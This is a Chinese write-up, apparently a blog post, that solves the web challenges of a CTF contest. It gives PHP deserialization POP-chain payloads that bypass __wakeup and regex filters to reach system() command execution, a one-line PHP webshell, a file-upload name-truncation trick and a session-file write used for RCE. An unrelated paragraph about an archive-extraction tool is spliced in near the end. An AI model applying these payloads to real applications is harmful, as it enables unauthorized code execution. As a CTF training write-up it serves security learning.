【WP】第一届 “帕鲁杯“ - CTF挑战赛 Web 全解

文章详细分析了一段PythonFlask代码,涉及审计过程中如何利用PHP序列化中的R与r(frankli.site)绕过_wakeup()魔术方法,并展示了如何通过无用数据引用绕过限制。内容还涵盖了反序列化漏洞利用和安全控制点,如检查文件名和PHPSESSID值。

Web

Web-签到

考点:审计py代码

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)
http://127.0.0.1:50258/?url=http://localhost/flag

R23 

考点:

1.采用&引用绕过_wakeup()魔术方法

2.PHP序列化中的R与r (frankli.site)

参考:PHP序列化中的R与r (frankli.site)

3.无用数据再引用绕过R:2

源代码:

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
       system($_GET['a']);
    }
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']);

出口函数:  xy类里面的system($_GET['a']);入口一看就是b类,__wakeup->__destruct->__get->love,越过wakeup魔术方法可采用数组模式 但没有 还可以采用&引用绕过

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
echo serialize($s);

得到O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}} 

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}

但是题目不能出现R:2,加个无用数据再引用会变成R:4

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
$m=array();
$m[0]='1';
$m[1]=$s;
echo serialize($m);

POC:

?pop=a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}&a=cat /f*

宇宙召唤 

考点:

1.不超过1KB的小马 <?=`$_GET[1]`;

2.*可以截断文件名 比如1php*.png=1.php

3.添加文件头绕过

CTFhub 文件上传漏洞 靶场实战通关攻略 - FreeBuf网络安全行业门户

按照考点做就行了 

php不行 一步一步修改 

my love

考点:

1.反序列化中session利用

2. 采用&引用绕过_wakeup()魔术方法

PHP session反序列化总结 - FreeBuf网络安全行业门户

CTFweb篇-反序列化和SESSION(一)_ctf session-CSDN博客

源码 :

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }

}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);

根据代码发现 有两个函数出口 

file_put_contents($this->man,base64_decode($this->woman));

($this->func)();

那我们就可以先利用第一个写入 session文件,然后利用第二个读取,从而RCE

 1.file_put_contents($this->man,base64_decode($this->woman));
<?php

class a{
    public $a;
}

class b{
    public $a;
    public $b;
    public $c;
}

class xk{

    public $man='/var/lib/php/session/sess_1';//phpinfo获取
    public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';//  name|s:14:"your are good!";
}
class end{
}

$m=new b();
$m->b = &$m->c;
$m->a = new a();
$m->a->b = new xk();
echo serialize($m);

得到如下  然后上传

O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;}

2.下面读取session文件 
<?php

class a{
    public $a;
}

class b{
    public $a;
    public $b;
    public $c;
}

class xk{

    public $man='/var/lib/php/session/sess_1';//phpinfo获取 且定义文件名为1
    public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';//  name|s:14:"your are good!";
}
class end{
    public $func='session_start';

}


$m=new b();
$m->b = &$m->c;
$m->a = new a();
$m->a->b = new end();
echo serialize($m);
O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}

然后一起传参

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*

test=_SESSION读取序列化文件数据这里要加个Cookie: PHPSESSID = 1 上面定义了文件名为1

小知识点:session的存放位置 - 三哥~! - 博客园 (cnblogs.com)

【axp资源提取工具】是一种专门用于处理特定格式的压缩包文件的应用程序,它能够帮助用户从.axp文件中解压并提取出其中的资源。这类工具通常在开发或者调试过程中非常有用,尤其是在处理特定类型的数据,如游戏资源、应用程序素材或者编程项目的库文件时。在提供的文件列表中,我们可以看到以下几个文件:1. **MFC71.dll**:这是Microsoft Foundation Classes (MFC) 的一个动态链接库文件,是C++的一个库,包含了Windows API的封装,用于构建基于Windows的应用程序。在axp资源提取过程中,这个文件可能作为支持库被包含,以便工具能够正确运行。2. **msvcp71.dll**:这是Microsoft Visual C++运行时库的一部分,用于支持C++程序的运行。它的存在意味着axp资源提取工具可能由VC++ 7.1编译器构建,或者需要这个特定版本的运行时环境来执行。3. **MSVCR71.dll**:这是Microsoft Visual C++运行时库的另一个组件,主要负责C运行时功能。与msvcp71.dll一样,它也是axp资源提取工具正常运行所必需的。4. **AXPPacker.exe**:这是一个可执行文件,很可能就是axp资源提取工具本身。用户可以通过运行这个文件来启动工具并进行资源提取操作。5. **@创e下载┆9年绿色无弹窗安全.URL**:这看起来是一个下载链接,可能是提供axp资源提取工具的下载地址,表明该工具被宣传为安全、无广告的软件。6. **安卓手机版本下载.URL**:这个链接可能指向该工具的安卓版,说明该工具可能也有适应移动设备的版本,方便在Android设备上进行资源提取。从这些文件来看,axp资源提取工具依赖于MFC和Visual C++运行时库,这意味着它可能是一个用C++编写的桌面应用程序,并且可能有跨平台的考虑,因为有针对安卓设备的版本。使用该工具,用户可以方便地管理和提取.axp文件中的图像、音频、文本等资源,这对于开发者来说是十分便捷的,特别是在处理大量资源的项目时。同时,由于工具强调安全性和无广告,用户可以放心使用,不必担心隐私泄露或被植入恶意软件的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值